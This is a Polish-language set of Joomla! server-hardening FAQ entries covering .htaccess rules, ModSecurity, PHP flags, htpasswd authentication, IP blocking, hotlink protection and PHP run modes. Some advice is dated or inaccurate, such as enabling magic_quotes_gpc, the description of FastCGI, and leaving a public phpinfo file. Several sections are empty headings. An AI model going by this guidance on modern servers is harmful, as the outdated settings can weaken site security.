Ogromna większość ogłoszonych zagrożeń w Joomla! pochodziła z kiepsko napisanych lub przestarzałych wersji rozszerzeń, które nie powinny być pozostawione na serwerze. Dlatego przed instalacją sprawdź dokładnie jakość kodu rozszerzenia.
Lista rozszerzeń podatnych na zagrożenia stanowi wartościową informację czego NIE należy instalować.
Przegląd
www.twoja_witryna.org/components/com_podatny_component/podatny_plik.php www.twoja_witryna.org/modules/mod_podatny_module/podatny_plik.php
Usuwanie wrażliwego rozszerzenia
1. Sporządź listę plików do usunięcia
mod_podatny.php mod_podatny/podatny_file.txt mod_podatny/takze_podatny_plik.txt mod_podatny/kolejny_podatny_plik.txt mod_podatny/index.html
2. Odinstaluj rozszerzenie za pomocą instalatora:
3. Sprawdź, czy proces został zakończony:
4. Opcjonalnie usuń powiązane tabele bazy danych:
Wybór informacji o serwerze internetowym Apache, modułach Apache, pliku .htaccess, etc.
Opis
ModSecurity jest przeznaczoną dla serwera Apache zaporą sieciową, podnoszącą w znacznym stopniu bezpieczeństwo serwera, chroniącą zasoby na poziomie aplikacji, w odróżnieniu od większości typowych zapór sieciowych, które chronią zasoby na poziomie protokołu TCP/IP. Moduł wyszukuje w przychodzących i wychodzących zapytaniach zdefiniowane w regułach filtrowania słowa kluczowe, a następnie wykonuje ustaloną akcję.
Podstawową konfigurację modułu administratorzy serwerów wzbogacają, korzystając z bogatej oferty reguł filtrowania dostępnej na wielu stronach internetowych. Solidni i fachowi dostawcy usług internetowych dopasowują ustawienia ModSecurity do każdego klienta (dokładniej, do używanego przez klientów oprogramowania, np. systemów CMS).
Pakiet podstawowy Joomla zwykle pracuje poprawnie z typowymi ustawieniami ModSecurity, ale generalnie jest to zależne od indywidualnych ustawień dokonanych przez dostawcę usług internetowych. Jeżeli napotkasz konflikt pomiędzy Joomla! i modSecurity, to zwykle będzie on spowodowany przez komponent autorstwa osób trzecich, a czasami nawet wysłaniem formularza, który generuje problem. Zgłoś w takim przypadku sprawę administratorowi serwera – użytkownicy serwerów nie mają innej możliwości wpływu na konfigurację ModSecurity, zarządzanego z poziomu serwera.
Konfigurując ModSecurity, należy zdawać sobie sprawę, że nie tylko Joomla! może wymagać unikalnych ustawień, ale także przetwarzanie danych innych aplikacji.
Konfiguracja ModSecurity jest zbyt obszerna i skomplikowana, by ją tu opisywać. Więcej dowiesz się w tych zasobach:
Zasoby
Czynności
Dodaj do pliku .htaccess regułę przekierowującą. Na przykład poniższa reguła przekieruje do index.php wszystkie próby skanowania katalogów z nazwą rozpoczynającą się od "phpMyAdmin".
Przykładowa reguła
RewriteRule ^/phpMyAdmin.*$ /index.php
Kilka wskazówek dotyczących wyrażeń regularnych
^ oznacza początek napisu (np. ^/ w przykładzie powyżej oznacza, że napis musi zaczynać się od ukośnika) $ oznacza koniec (np. x$ znaczy, że napis musi się skończyć na x) . oznacza dowolny znak inny niż znak nowej linii * oznacza zero, jeden lub więcej dowolnych znaków ? oznacza zero lub jeden dowolny znak ! oznacza zaprzeczenie
Poniżej znajdziesz objaśnienie, w jaki sposób używając pliku .htaccess zmodyfikować konfigurację PHP, używając dyrektywy php_flag. Składnia dyrektywy jest następująca:
php_flag nazwa on|off
Ten sposób zmiany ustawień PHP można zastosować jedynie do dyrektyw typu PHP_INI_ALL oraz PHP_INI_PERDIR. Zobacz listę dyrektyw.
1. Otwórz w zwykłym edytorze tekstu plik .htaccess umieszczony w macierzystym (głównym) katalogu witryny. Jeśli nie masz takiego pliku, stwórz go. Uwaga: kropka na początku jest elementem nazwy pliku.
2. Dodaj potrzebne w Twoim przypadku, wybrane z poniższych dyrektywy. Każda musi rozpoczynać się od nowej linii. Te przykładowe linie chronią witrynę przed niektórymi atakami typu zmiana wartości zmiennych globalnych, cross site scripting (XSS), wstrzykiwanie kodu:
## Wylaczenie rejestrowania zmiennych globalnych php_flag register_globals off ## Wylaczenie wyswietlania bledow php_flag display_errors off ## Wylaczenie interpretacji krotkich znacznikow PHP php_flag short_open_tag off ## Wylaczenie kompresji zlib, gdy powoduje problemy php_value zlib.output_compression 0 ## Zwiekszenie limitu pamieci php_value memory_limit 32M ## Wlaczenie magicznych cudzyslowow dla GPC php_flag magic_quotes_gpc on
Opcja magic_quotes_gpc jest zwykle włączona w pliku php.ini automatycznie. Włączenie tej opcji poprawia bezpieczeństwo, zapobiegając wstrzykiwaniu niebezpiecznych danych w przypadku niezbyt poprawnie napisanych skryptów. (Powoduje ona automatyczne wywoływanie funkcji addslashes(), poprzedzającej w danych pochodzących z cookies oraz parametrach żądań GET i POST wszystkie apostrofy, podwójne cudzysłowy, lewe ukośniki i bajty zerowe lewym ukośnikiem). Jeśli masz pewność, że Twoja witryna poprawnie filtruje i sprawdza wszystkie dane pochodzące od użytkowników (a tak powinno być w gruncie rzeczy w przypadku każdej opublikowanej witryny), wówczas nie ma żadnej potrzeby, by dodawać tę dyrektywę. Jeśli jednak masz wątpliwości, umieść ją.
3. Zapisz plik .htaccess (w głównym katalogu witryny).
4. Przetestuj zarówno działanie witryny, jak i zaplecza.
Gdy PHP działa w trybie FastCGI, Twój serwer uruchamia interpreter PHP jako moduł Apache, ale z uprawnieniami realnego użytkownika konta.
Standardowo PHP jest uruchamiany albo jako moduł Apache, albo w trybie CGI.
PHP uruchomiony jako moduł Apache działa z uprawnieniami uniwersalnego użytkownika serwera internetowego, co wprawdzie zapewnia szybsze działanie, ale nie jest zbyt bezpieczne. Uniwersalny użytkownik ma prawa odczytu i zapisu danych wszystkich klientów na serwerze.
W trybie CGI PHP działa z uprawnieniami realnego użytkownika systemu, najczęściej – właściciela konta i równocześnie użytkownika FTP. Użytkownik taki – po odpowiednim skonfigurowaniu serwera – nie ma wglądu w dane na innych kontach. Ale w trybie CGI dla każdego użytkownika PHP uruchamiany jest odrębnie, jako odrębny proces, co istotnie obciąża i spowalnia serwer.
FastCGI, stosowany na serwerach współdzielonych, a więc wykorzystywanych przez wielu użytkowników, łączy zalety obu trybów. PHP uruchamiany jest jako moduł Apache, ale – jak w CGI – z uprawnieniami realnego użytkownika. Uruchomienie PHP w trybie FastCGI również wiąże się z pewnym zmniejszeniem wydajności serwera, ale jest rozwiązaniem zapewniającym większe bezpieczeństwo.
Korzystanie z FastCGI powoduje jednak inne problemy. Ponieważ PHP działa jako pojedynczy proces, to – o ile wiem – nie może przetwarzać pliku .htaccess albo php.ini dla katalogu, a więc w praktyce plików definiowanych przez realnych użytkowników konta. Aby zmienić ustawienia PHP skonfigurowane dla całego serwera, dostawca usługi musi zapewnić specjalną metodę umieszczania własnych plików php.ini modyfikujących niektóre ustawienia globalne. Oto jak rozwiązuje ten problem jeden z usługodawców: przetwarza co godzinę (parsuje) jeden plik php.ini, zawierający ustawienia, które mogą zmieniać użytkownicy, a ustawienia, których modyfikować nie można, umieszcza w głównym php.ini.
W ten sposób użytkownicy mogą zmienić pewne ustawienia tylko dla swojej witryny, takie jak register_globals czy przełączanie między PHP4 i PHP5.
Jeśli Twój serwer korzysta z FastCGI, możesz poprosić o udostępnienie takiej metody, jak powyżej, aby wprowadzić zmiany, albo możesz poprosić o skorygowanie ustawień zgodnie z Twoimi potrzebami.
Wiele problemów z optymalizacją pod kątem wyszukiwarek internetowych (SEO) jest spowodowanych brakiem modułu mod_rewrite na serwerze. Jak sprawdzić, czy nie jest to źródło naszych problemów?
1. Włącz obsługę prostych adresów w konfiguratorze Twojego Joomla! (zaplecze -> Konfiguracja -> SEO)
2. Zmień nazwę pliku htaccess.txt na .htaccess albo użyj istniejącego pliku .htaccess (jeśli zmieniałeś nazwę wcześniej)
3. Umieść w swoim pliku .htaccess TYLKO następujące linie:
Options +FollowSymLinks Redirect /joomla.html http://www.joomla.org
4. Wpisz w przeglądarce adres: http://www.twoja_domena.com/joomla.html
(Zastąp 'twoja_domena.com' adresem Twojej witryny.)
5. Jeśli przeglądarka przekieruje Cię na www.joomla.org, oznacza to, że mod_rewrite działa. Jeśli pojawi się komunikat błędu, oznacza to, że mod_rewrite nie został uruchomiony
6. Uwaga: Jeśli Twoja witryna umieszczona jest jako subdomena w podkatalogu, na przykład "test", zmodyfikuj .htaccess jak poniżej:
Options +FollowSymLinks Redirect /test/joomla.html http://www.joomla.org
Przegląd
Wiele środowisk serwerów współdzielonych uruchamia skrypty .php używające interpretera PHP4 i kodu .php5 używającego interpretera PHP5. Zamiast zmian w rozszerzeniach wszystkich twoich plików, co mogłoby spowodować zakłamania w wielu linkach, wykorzystaj plik .htaccess do dynamicznego mapowania jednego rozszerzenia na drugie.
WAŻNE OSTRZEŻENIE: Głównym powodem stosowania tego rozwiązania jest fakt, że administratorzy serwerów pozostawiają PHP4 skonfigurowane z włączoną register_globals (ON), aby zapewnić wsparcie dla kodu spuścizny (legacy), jednocześnie oferując PHP5 z wyłączoną register_globals (OFF). Jeżeli pracujesz na serwerze współdzielonym, który ma skonfigurowaną register_globals na ON, to powinieneś się bardzo martwić!
Wyłączenie register_globals (OFF) za pomocą lokalnego pliku php.ini lub .htaccess NIE ZAPEWNI ekstra zabezpieczenia. Inne zhakowane konto na Twoim serwerze z łatwością zhakuje Twoje konto, Twoją witrynę. Ze względów bezpieczeństwa, i od czasu wprowadzenia wydania php 4.2, register_globals jest domyślnie wyłączona (OFF). Każde nadpisanie tego ustawienia na ON to zaproszenie do kłopotów. Jeżeli potrzebujesz włączyć register_globals dla określonej witryny, po prostu użyj .htaccess w tym specyficznym katalogu, i ogólne bezpieczeństwo serwera pozostanie nienaruszone. Oczywiście, jeżeli to zrobisz, bądź pewny, że wszystkie zainfekowane skrypty wyczyszczą w całości dane wejściowe.
Wymagania
Wskazania
1. Upewnij się, że Twój serwer jest skonfigurowany do użycia plików .htaccess.
2. Wykonaj kopię pliku .htaccess znajdującego się w Twoim katalogu głównym public_html. Jeżeli nie ma tam pliku .htaccess, utwórz nowy.
3. Są różne sposoby ustawienia komend, w zależności od konfiguracji Twojego serwera. Jeden z poniższych zapewne zadziała. Dodaj JEDNĄ z następujących linii na końcu pliku .htaccess. Jeżeli nie wiesz, której użyć, zapytaj swojego dostawcy, która wersja będzie najlepsza dla Twojej konfiguracji.
AddType x-mapp-php5 .php AddHandler application/x-httpd-php5 .php AddHandler cgi-php5 .php
W przypadku gdy PHP działa w trybie FastCGI
AddHandler php5-fastcgi .php Action php5-fastcgi /fcgi/php5 # albo # Action php5-fastcgi /fcgi-bin5/php5 AddType application/x-httpd-php .php
4. Ostrożnie przetestuj zmianę.
5. Skasuj kopię pliku .htaccess. Nie pozostawiaj kopii .htaccess w katalogach publicznych.
Przegląd
Jednym ze sposobów ochrony zasobów swojego konta przed niepowołanym dostępem, jest wykorzystanie podstawowej metody uwierzytelniania na serwerze Apache za pomocą plików .htaccess. Uwierzytelnienie umożliwia moduł Apache - mod_auth - [j.ang.], którego zadanie polega na porównaniu identyfikatora i hasła przez użytkownika żądającego dostępu z zawartością pliku tekstowego przechowywanego na serwerze.
Wyjaśniamy tutaj, jak na serwerze Apache ochronić hasłem katalog /administrator/ w Joomla!, używając pliku .htaccess. Przedstawione tu instrukcje można łatwo przystosować do ochrony innych katalogów.
Ostrzeżenie
Podstawowa autentykacja (HTTP Basic Authentication) realizowana za pomocą modułu mod_auth nie powinna być uważana za całkowicie bezpieczną z punktu widzenia rygorystycznej definicji bezpieczeństwa. Chociaż hasło przechowywane jest na serwerze w sposób zaszyfrowany, w sieci przesyłane jest od klienta do serwera otwartym tekstem. Wśród narzędzi diagnostycznych administratorów sieci można znaleźć m.in. tzw. sniffery (węszyciele), programy służące do przechwytywania danych w transmisji sieciowej. Legalnie wykorzystywane są do diagnostyki związanej z niezawodnością i wydajnością połączenia, niestety, mogą być także narzędziem włamywacza. Każdy, kto przechwyci pakiety przy pomocy takiej aplikacji, będzie w stanie odczytać nazwę użytkownika i hasło w zwykłej postaci, tak jak się je wpisuje do interfejsu czy formularza.
Należy pamiętać, że nazwa użytkownika i hasło przesyłane są w postaci jawnej na każde żądanie użytkownika (request), nie tylko w momencie samej autentykacji. Dlatego sniffery pakietów nie muszą ciągle nasłuchiwać transmisji, by znaleźć strategiczny moment wprowadzania hasła. Wystarczy że nasłuchują dość długo, by przechwycić wrażliwe dane w chwili realizacji żądania request.
Nie tylko hasło ale cała treść informacji przesyłana jest w sieci w sposób jawny, jeżeli strona zawiera dane wrażliwe, sniffer przechwyci je nawet, jeżeli atakujący wcześniej nie odczytał hasła i nie ma dostępu do witryny.
Nie polegaj tylko na podstawowej autentykacji w zadaniach, które wymagają rzeczywistego bezpieczeństwa. Niewielu ludzi podejmie wysiłek lub posiada niezbędne oprogramowanie i sprzęt, by odkryć twoje hasła, ale jeżeli ktoś to zamierza zrobić, zrobi to bez większych problemów. Jeżeli zależy ci na poufności twoich danych, musisz zastosować wyższy poziom zabezpieczenia połączeń z siecią. Zapewni je protokół szyfrowania połączeń - SSL (Secure Socket Layer), lub jego rozwinięcie TLS (Transport Layer Security).
Zobacz
Podstawowa autentykacja przy wykorzystaniu połączenia szyfrowanego SSL będzie już bezpieczna, ponieważ wszystko, co jest przesyłane, zostanie zaszyfrowane, także nazwa użytkownika i hasło.
Czynności
Aby dodawać użytkowników oraz nadawać im hasła i zmieniać je na poziomie podstawowej autentykacji, korzystamy z dostarczanego wraz z Apache programu htpasswd. Jeśli nie znasz programu htpasswd, zapoznaj się z dokumentacją na stronie Apache. Jeśli nie możesz posłużyć się programem htpasswd, skorzystaj z generatorów dostępnych m.in. pod adresami [1] czy [2]. W drugim przypadku program wygeneruje zarówno treść do umieszczenia w pliku haseł, jak i treść wpisu w pliku .htaccess.
Zanim wygenerujesz plik haseł, ustal, gdzie go chcesz umieścić. Plik haseł NIGDY nie powinien być publicznie dostępny z sieci. Poniżej podajemy przykładową strukturę katalogów pokazującą prawidłową lokalizację dla plików .htaccess oraz plików z hasłami użytkowników i pliku z opisem grup użytkowników. Zauważ, że katalog /auth/, w tym przykładzie nie jest dostępny z sieci (dostępny jest public_html, w którym umieszczony jest .htaccess).
/home/nazwa_konta/public_html/twoj_joomla/administrator/.htaccess /home/nazwa_konta/auth/.htpasswd/ /home/nazwa_konta/auth/.htgroups/
Aby wygenerować plik haseł za pomocą programu htpassword:
1. Wywołaj program z opcją –c (powoduje utworzenie nowego pliku), podając jako argumenty ścieżkę do pliku haseł oraz nazwę pierwszego użytkownika, np.
htpasswd –c /var/auth/nazwa_konta/.htpassword uzytkownik1
2. Program poprosi o podanie hasła – wpisz je i, jeśli będziesz dodawać kolejnych użytkowników, zanotuj je.
3. Dodaj kolejnego użytkownika, tym razem nie podajesz już opcji –c, np.:
htpasswd /var/auth/nazwa_konta uzytkownik2
4. Podobnie, jak poprzednio, podaj hasło i zanotuj je.
Jeśli nie istnieje użytkownik o podanym identyfikatorze, zostanie utworzony. Jeśli istnieje, zostanie mu nadane nowe hasło. Hasła są szyfrowane za pomocą funkcji crypt, a nazwy użytkowników zapamiętywane są w postaci czystego tekstu. W każdej linii nazwa użytkownika, dwukropek i zaszyfrowane hasło, np.
uzytkownik1:styhRa7M5oP.A
5. Umieść w pliku .htaccess sekcję z konfiguracją uwierzytelniania, np.
########## Start – Sekcja Uwierzytelnienie AuthUserFile /var/auth/nazwa_konta/.htpassword ## gdy nie stworzono pliku opisu grup umiesc AuthGroupFile /dev/null ## albo – jesli stworzono plik opisu grup – odkomentuj i umiesc #AuthGroupFile /var/auth/nazwa_konta/.htgroups #jesli stworzono AuthName "Obszar chroniony" AuthType Basic # uzyj linii ponizej gdy jest plik opisu grupy admini (nazwa przykladowa) require group admini # albo zakomentuj linie powyzej a odkomentuj i uzyj ponizszej, gdy brak pliku opisu grupy require valid-user ########## Koniec – Sekcja Uwierzytelnienie
Więcej o opcjach programu htpasswd znajdziesz tu: htpasswd - zarządzanie plikami dla podstawowej autentykacji [j.ang]
Objaśnienia
Plikowi haseł i plikowi opisu grup można nadać dowolną nazwę. W przypadku, gdy zastosujemy konwencję nazewniczą jak w pliku .htaccess, a więc zastosujemy nazwę bez rozszerzenia poprzedzoną kropką, stworzymy plik ukryty.
Dostęp do zasobów można określić w różny sposób – wskazać pojedynczych użytkowników albo grupy czy też wszystkich użytkowników, którzy podadzą prawidłowe dane identyfikacyjne. Jeśli tworzymy grupy, to w pliku z opisem grup wyszczególniamy w kolejnych wierszach ich nazwy, a po dwukropku nazwy użytkowników, np.
admini: operator1 operator2 operator3 uzytkownicy: uzytkownik1 uzytkownik2 uzytkownik3
Możliwe jest skorzystanie z mniej bezpiecznego, podstawowego typu autoryzacji - Basic oraz bezpieczniejszego - Digest, ale ten sposób wymaga zainstalowania dodatkowego modułu - mod_digest.
Uwierzytelnianie opisaną tutaj metodą niesie ze sobą sporą niedogodność. Zastosowanie jej do ochrony całej witryny powodowałoby duże obciążenie serwera – każdorazowe żądanie wyświetlenia strony chronionej za pomocą pliku .htacces pociąga za sobą procedurę, w której serwer musi odczytać plik .htacces, pobrać dane od użytkownika żądającego dostępu, odczytać pliki grup i haseł, porównać je z podanymi przez logującego się. Nie jest to zatem sposób, który można zalecać do ochrony witryny, ale – stosowany z rozsądkiem – może posłużyć do ochrony obszarów szczególnie wrażliwych.
Narzędzia
Przeczytaj także
Katalog dostępny tylko z określonego IP
Efektywnym sposobem ochrony katalogu /administrator w standardowej instalacji Joomla! może być udostępnienie go tylko połączeniom z określonego adresu IP. Aby jednak z tej metody skorzystać, musisz posiadać statyczny adres IP, z którego będziesz się łączyć.
Przedstawiany sposób może być wykorzystany do ochrony każdego innego katalogu w public_html. Każdy, kto spróbuje przeglądać tak zabezpieczony katalog, otrzyma sygnał błędu 403 (Zabroniony dostęp ze względu bezpieczeństwa).
Czynności
########## Start – Dostęp tylko z określonego adresu IP Order deny, allow Deny from all Allow from 100.100.100.100 ########## Koniec – Dostęp tylko z określonego adresu IP
Pierwsza linia określa kolejność wykonywania dyrektyw – najpierw zostaną wykonane polecenia blokujące dostęp (tu jedno), a następnie zezwalające na dostęp. Można by tę linię opuścić, bowiem standardowo zawsze najpierw wykonywane są polecenia blokujące. Druga linia blokuje dostęp wszystkim, natomiast trzecia zezwala na dostęp z podanego adresu lub adresów IP – można tu bowiem wpisać kilka adresów, oddzielając je przecinkami, np.:
100.100.100.101, 100.100.100.102
Blokowanie dostępu połączeniom z określonego IP
Tę samą metodę możemy wykorzystać w odwrotny sposób – blokować dostęp poszczególnym adresom IP lub całym ich grupom, aby np. udaremnić działalność spamujących robotów internetowych czy utrudnić przeglądanie witryny uciążliwym użytkownikom.
Czynności
########## Start – Blokowanie połączeń z określonych adresów IP Order allow, deny Deny from 200.200.200.200 Deny from 210.210.210 Deny from 220.220 Allow from all ########## Koniec – Blokowanie połączeń z określonych adresów IP
Zwróć uwagę na dwie kwestie.
Po pierwsze – niestandardową kolejność zarządzoną poleceniem Order allow, deny. Gdyby jej nie było, umieszczone na końcu polecenie Allow from all osłabiłaby działanie poprzednich. W aktualnym ujęciu połączenia ze wszystkich adresów poza wyszczególnionymi zostaną zaakceptowane.
Po drugie – na różny zakres blokowania w poleceniach Deny from. W pierwszym z poleceń blokujemy połączenia z dokładnie określonego adresu, w drugim blokujemy połączenia ze wszystkich adresów IP rozpoczynających się od 210.210.210. W kolejnym mamy przykład jeszcze szerszego zasięgu.
Gdy konfiguracja serwera nie odpowiada naszym potrzebom, nie zawsze musimy prosić o zmianę administratora. Zmiany niektórych ustawień możemy zwykle dokonać samodzielnie, umieszczając odpowiednie wpisy w specjalnych plikach konfiguracyjnych. Zwykle mamy możliwość korzystania z plików .htaccess. Niekiedy także z plików php.ini.
Pliki .htaccess służy do zmiany konfiguracji serwera Apache w obrębie katalogu, w którym został umieszczony i wszystkich zagnieżdżonych w nim podkatalogach, o ile tylko dany podkatalog nie został skonfigurowany jako osobny podserwer. Ustawienia w pliku .htaccess znajdują natychmiastowe odzwierciedlenie w działaniu serwera, bo plik .htaccess odczytywany jest podczas każdego żądania dotyczącego plików danego katalogu.
Plik .htaccess wykorzystywany jest nie tylko do zmiany istotnych ustawień serwera, ale także do ochrony witryny przed atakami sieciowymi, ograniczenia dostępu do witryny, przygotowywania własnych stron błędów generowanych przez serwer. Ponadto, gdy PHP działa jako moduł Apache, plik .htaccess umożliwia modyfikację niektórych zmiennych konfigurujących PHP (tylko ustawień typu PHP_INI_ALL
oraz PHP_INI_PERDIR
).
O możliwości korzystania z plików .htaccess decyduje ustawienie dyrektywy AllowOverride
w głównym pliku konfiguracyjnym Apache (httpd.conf lub access.conf). Ustawienie polecenia AllowOverride na All zezwala na ustawianie w pliku .htaccess wszystkich opcji serwera, ustawienia AuthConfig
, FileInfo
, Indexes
, Limit
oraz Options
definiują ograniczone możliwości zmian, a ustawienie None
wyłącza przetwarzanie plików .htaccess.
Warto jeszcze wiedzieć, że czasami administratorzy serwerów definiują inną nazwę tego pliku niż standardowa, np. .ustawienia. W takich przypadkach stosowną informację powinniśmy uzyskać przy zawieraniu umowy.
Można go napisać od podstaw samemu. Jest to zwykły plik tekstowy ASCII. Administratorzy Joomla! mogą skorzystać z umieszczonego w głównym katalogu każdej instalacji pliku htaccess.txt, zmieniając jego nazwę i dostosowując treść do własnych potrzeb. Plik ten zawiera zestaw przydatnych reguł chroniących Joomla! przed pospolitymi exploitami oraz zestaw reguł przepisujących skomplikowane adresy generowane przez PHP na tzw. proste, łatwe do zapamiętania przez ludzi. Jest w nim również reguła umożliwiająca przekierowanie adresu wskazywanego przez serwer na katalog, w którym faktycznie jest umieszczony Joomla!.
Zmiany nazwy pliku htaccess.txt można dokonać bezpośrednio na serwerze albo na swoim komputerze, z tym że w systemie Windows nie uda się przemianowanie w oknie standardowego Explorera – trzeba skorzystać z menedżera plików typu TotalCommander czy klienta FTP, np. FireFTP.
Skorzystanie z dołączonego pliku htaccess.txt (oczywiście – po przemianowaniu), może niekiedy spowodować błędy w wyświetlaniu witryny, o czym zresztą uprzedzono nas w pierwszej części pliku.
# PRZECZYTAJ DOKŁADNIE I UWAŻNIE, JEŚLI CHCESZ KORZYSTAĆ Z TEGO PLIKU # # Linia umieszczona poniżej tej sekcji ‘Options +FollowSymLinks’ może powodować # problemy w przypadku niektórych serwerów. Jest ona niezbędna, aby stosować # mod_rewrite, ale administrator Twojego serwera może zablokować jej ustawianie # w plikach .htaccess. Jeżeli zastosowanie tego ustawienia powoduje błąd serwera # skomentuj te linie (dodaj na początku znak #), odśwież witrynę w przeglądarce # i przetestuj proste adresy. Jeśli okaże się, ze proste adresy działają poprawnie, # to znaczy, że zostały skonfigurowane przez administratora serwera # i nie ma potrzeby ustawiania tutaj tego polecenia
## Może wymagać skomentowania w przypadku błędów. Zobacz uwagę powyżej. Options +FollowSymLinks
Aby zmienić nazwę pliku htaccess.txt na .htaccess:
Uwaga: w niektórych klientach FTP plik .htaccess może być niewidoczny – aby go zobaczyć, trzeba np. w menu programu, w TotalCommander, zaznaczyć opcję Sieć -> Pokaż ukryte pliki.
Więcej informacji
Ostrzeżenia
Wskazania
RewriteEngine On RewriteCond %{HTTP_REFERER} !^http://(.+\.)?twoja_domena\.com/ [NC] RewriteCond %{HTTP_REFERER} !^$ RewriteRule .*\.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]-->
Wyjaśnienia
Pierwszy wiersz rozpoczyna regułę przepisywania przez serwer Apache. Drugi dopasowuje wszystkie wywołania z twojej strony, tu nazwanej twoja_domena.com. Flaga [NC] oznacza "No Case", dopasowanie małych i dużych znaków. Trzeci wiersz zezwala na puste odniesienia. Ostatni dopasowuje wszystkie pliki z rozszerzeniami jpeg, jpg, gif, bmp oraz png. To tu jest zamieniany przez plik no_hot_link.jpe znajdujący się w katalogu /images. Ten plik JPEG używa rozszerzenia .jpe zamiast .jpg, aby zapobiec blokowaniu twojego zamienionego pliku graficznego przez te reguły.
Blokowanie podłączenia z określonych domen
Aby zablokować podłączenia tylko z określonych domen, takich jak myspace.com, blogspot.com czy livejournal.com, a jednocześnie zezwolić innym witrynom na podłączenie się do twoich plików graficznych, użyj następującego kodu:
RewriteEngine On RewriteCond %{HTTP_REFERER} ^http://(.+\.)?myspace\.com/ [NC,OR] RewriteCond %{HTTP_REFERER} ^http://(.+\.)?blogspot\.com/ [NC,OR] RewriteCond %{HTTP_REFERER} ^http://(.+\.)?livejournal\.com/ [NC] RewriteRule .*\.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L
Możesz dodać tyle różnych domen, ile chcesz. Każdy wiersz reguły RewriteCond oprócz ostatniego powinien kończyć się flagami [NC,OR]/ NC oznacza ignorowanie wielkości znaku. OR oznacza "Or Next" - "lub następny", dopasowuje ten wiersz LUB następny. Ostatni wiersz omija flagę OR, kończąc dopasowywanie po ostatnim RewriteCond.
Wyświetlaj stronę błędu 403
Alternatywnie możesz wyświetlić stronę błędu 403. Ostatnią linię w kodzie powyżej zamień na następującą:
RewriteRule .*\.(jpe?g|gif|bmp|png)$ - [F]
W tej sprawie najlepiej zasięgnąć opinii osoby kompetentnej. W Do you PHP?, Rasmus Lerdorf, osoba od której zaczął się PHP, przedstawia jak i dlaczego rozwijano PHP.
Co o PHP można powiedzieć, to to, że nigdy nie był przeznaczony do konkursu piękności. Nie był projektowany, by wprowadzić jakieś rewolucyjne paradygmaty w programowaniu. Został napisany dla jednego problemu, dla Sieci. Ten problem bywa bardzo nieatrakcyjny i czasami potrzeba nieatrakcyjnych narzędzi do rozwiązywanie nietrakcyjnych problemów. Chociaż wspaniałe narzędzie może również rozwiązać taki problem, to jednak nietrakcyjne rozwiązania PHP można zastosować znacznie szybciej i przy mniejszych zasobach. To wyjaśnia jego przydatność.
Informacje o najnowszym stabilnym wydaniu PHP znajdziesz na oficjalnej stronie repozytorium PHP.
Jest to sprawozdanie, punkt po punkcie, jak dostosowywałem nasze strony Joomla! aby działały tak szybko jak to możliwe. Wszystkie strony były uruchomione na serwerze dedykowanym Rakcspace, z 1Gb RAM, 2Ghz dual core Athlon, na którym zainstalowano Apache 2.0.x (bieżąca rewizja), PHP 5.0.x (bieżąca rewizja) i MYSQL 5.0.18.
Wykaz zrobiono w zależności od rzeczywistego wzrostu szybkości, tzn. nie całkowitej szybkości dla całej strony, ale prędkości ładowania do momentu zanim strona jest gotowa do prezentacji zawartości, nawet jeżeli nie wszystkie jej możliwości zostały załadowane.
ob_start ("ob_gzhandler"); header("Content-type: text/css"); header("Cache-Control: must-revalidate"); $offset = 60 * 60 ; $ExpStr = "Expires: " . gmdate("D, d M Y H:i:s", time() + $offset) . " GMT"; header($ExpStr);
Są dwie główne metody uruchamiania środowiska PHP:
(PS: Windows IIS konfiguruje zwykle PHP jako skrypt CGI)
Intencją tej wiadomości jest dostarczyć Ci informacji dotyczącej konfiguracji i rozpoznawania każdej z tych metod. "Ogólnie" i historycznie rzecz biorąc, tylko jedna metoda albo inne metody zostały zaimplementowane, jednakże wraz ze zmianami architektonicznymi poczynionymi w PHP, poczynając od PHP5, firmy hostingowe mogą skonfigurować obie wersje, jedną działającą jako moduł, drugą jako skrypt CGI. Powszechniejsze jest drugie rozwiązanie, bo zapewnia większe bezpieczeństwo, ale z kolei działanie PHP jako modułu Apache jest wydajniejsze i zwykle jest upowszechnione w pudełkowych wersjach preinstalacyjnych.
...jest kompilowany na binaria serwera, czyli interpreter PHP działa w ramach procesu Apache, co oznacza, że kiedy Apache generuje proces potomny (child), każdy taki proces zawiera binarny obraz PHP. CGI jest uruchamiany jako indywidualny proces dla każdego zapytania (request) i musi wykonać wywołania exec() lub fork() dla uruchomienia PHP, co oznacza z kolei, że każda prośba (request) tworzy nowy proces interpretera PHP. Apache jest bardziej wydajny w obsłudze zapytań (request) i w zarządzaniu zasobami, co czyni ten moduł nieco szybszym od CGI (jak również bardziej stabilnym przy obciążeniu).
... jest z drugiej strony bardziej bezpieczny ponieważ teraz serwer zarządza i steruje dostępem do plików binarnych. W tej wersji PHP może działać raczej jako Twój realny użytkownik niż zwykły użytkownik Apache. Oznacza to, że możesz wprowadzić hasła bazy danych do pliku dostępnego tylko dla Ciebie i Twoich skryptów php. Prawa dla Grupy (Group) i Inni (Other) zobacz: Jak działają prawa dostępu do plików w UNIX? mogą być teraz ustawione w bardziej restrykcyjny sposób. Tryb CGI jest uważany także za bardziej elastyczny w wielu aspektach, których teraz nie będziemy rozważać. Przy zastosowaniu phpSuExec (Prawa dostępu i phpsuexec) znikają problemy z prawami własności, dzięki czemu nie powinieneś mieć więcej problemów z FTP kiedy próbujesz uzyskać dostęp lub chcesz modyfikować pliki, które zostały załadowane przez interfejs PHP, taki jak np. instalator w panelu administracyjnym Joomla!
Jeżeli Twój serwer jest skonfigurowany dla PHP jako moduł Apache, wtedy będziesz miał wybór użycia pliku albo php.ini albo .htaccess. W przypadku działania PHP w trybie CGI, by zmienić ustawienia możesz korzystać tylko z lokalnego pliku php.ini, ponieważ Apache nie ma już całkowitej kontroli nad PHP.
Czyli wszystko "co kiedykolwiek chciałeś i czego nie chciałeś wiedzieć o PHP"
Aby uzyskać informację o trybie pracy interpretera PHP i generalnie przetestować swoją instalację PHP, a także dowiedzieć się o specyfice środowiska PHP, wspieranych narzędziach, aplikacjach i ustawieniach, utwórz prosty plik zawierający tylko następującą linię;
phpinfo()
Ta pojedyncza linia kodu wygeneruje zadziwiającą ilość informacji, przygotuj się na to. Zapisz ją w pliku pod dowolną nazwą (np. info.php) ale zawsze z rozszerzeniem ".php", następnie prześlij ten plik przez FTP np. do głównego katalogu Twojego serwera i uruchom go przez przeglądarkę z adresu http://www.twojastrona/info.php
